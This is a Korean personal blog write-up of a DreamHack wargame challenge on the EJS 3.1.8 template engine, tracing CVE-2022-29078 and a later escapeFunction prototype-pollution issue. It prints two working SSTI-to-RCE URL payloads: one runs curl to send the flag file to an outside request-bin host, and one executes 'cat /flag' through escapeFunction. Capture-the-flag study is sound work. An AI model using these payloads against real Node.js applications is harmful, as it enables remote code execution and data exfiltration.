| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 레이블인코딩
- node.js
- 성능평가지표
- Linked List
- 클래스
- 예외처리
- 함수
- 태국
- 지도학습
- 수업복습
- List
- sqld
- pandas
- 루키즈33기
- 꽉뚝짝 시장
- Package
- 방콕
- 데이터분포
- git push -u
- SK쉴더스
- gdgm
- 생성형AI
- tunder client
- OT후기
- 보안공부
- 패키지
- 블록(Block)
- dropna
- echo 명령어
- 루키즈
- Today
- Total
개발 블로그
[DreamHack] ejs@3.1.8 본문
https://dreamhack.io/wargame/challenges/675
로그인 | Dreamhack
dreamhack.io
일단 제목이 뭔지 궁금해서 구글링 먼저함.
ejs@3.1.8는 Node.js 환경에서 사용되는 Embedded JavaScript 템플릿 엔진이라고 함.
그리고 해당 3.1.8 버전은 SSTI 및 프로토타입 오염(Prototype Pollution) 취약점과 연관이 있는 버전이라고 함.
[분석 일기] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)
🚪 Intro 2022년 4월달에 nodejs 의 모듈인 EJS에서 RCE 취약점이 발견되었습니다. 맨 아래 Reference 에 있는 링크를 참고하여 어떻게 EJS에서 RCE가 가능한지를 분석해 봤습니다. 취약한 EJS 버전은 `3.1.6`
lactea.kr

음! 해당 포스팅에서 취약하다고 한 부분이

내가 가진 코드의 11번째 줄에도 있었음.
https://jueun-security.tistory.com/29
ejs 3.1.6 SSTI 취약점 (CVE-2022-29078)
CTF 웹 문제를 봐보면 ssti 취약점 문제가 생각보다 많다. ssti 문제들의 패키지 파일을 보면 ejs 3.1.6 이나 ejs 3.1.8 등등이 있는 것 같다. 그래서 한번 ejs 3.1.8을 찾아보려니 먼저 ejs 3.1.6 취약점을 공
jueun-security.tistory.com
이 부분의 최종 POC 코드를 참고해서 URL에 넣어봄.
http://host3.dreamhack.games:23267/?settings[view%20options][outputFunctionName]=a;process.mainModule.require(%27child_process%27).execSync(%27curl%20%22http://requestsbin/?$(cat%20/flag)%22%27);
근데 3.1.8에서는 패치된 취약점이래..
CVE-2022-29078(EJS SSTI, outputFunctionName 옵션 오염) 취약점
https://hg2lee.tistory.com/entry/CVE-2022-29078-ejs316-outputFunctionName-Injection-Vulnerability
CVE-2022-29078 ejs(3.1.6) - outputFunctionName Injection Vulnerability
Node.js의 EJS 템플릿 버전 3.1.6 에서 발생한 취약점으로, 해당 취약점은 SSTI -> RCE로 이어질 수 있는 고 위험군 취약점이다.사용자의 입력값이 data로 넘어 갈 때 settings['view options'][outputFunctionName]를
hg2lee.tistory.com
-> 이걸 이용해서 outputFunctionName 옵션에 임의 문자열을 주입해서 뚜루뚜루 진행해보려고 했는데 해당 POC 부터 막혀서 다른 것을 찾아봄..
더 찾아보니 3.1.8 버전 등에서 제기된 escapeFunction 및 프로토타입 오염(Prototype Pollution) 관련 취약점 (CVE-2024-33883) 이 있었음.
결국 outputFunctionName이 아니라 escapeFunction으로 해결해야 하는 문제였나봐.
ejs 3.1.6 ssti
ejs의 ssti 공격과 관련된 문제가 존재하였다. ejs@3.1.8 이 문제이다. 그렇기에 바로 cve를 보러 갔는데 다음과 같은 글을 보게 되었다.(https://github.com/mde/ejs/security) 상당히 놀라웠다. 에당초 대부분의
minpo.tistory.com
여기에 관련된 POC가 있길래 참고함.

?settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); c

'Study > Web Hacking' 카테고리의 다른 글
| [DreamHack] Test Your Luck (0) | 2026.09.23 |
|---|---|
| [DreamHack] Broken Is SSRF possible? (0) | 2026.09.22 |
| [DreamHack] login-1 (0) | 2026.09.21 |
| [DreamHack] sql injection bypass WAF Advanced (0) | 2026.09.21 |
| [DreamHack] Ctrl-C (0) | 2026.09.21 |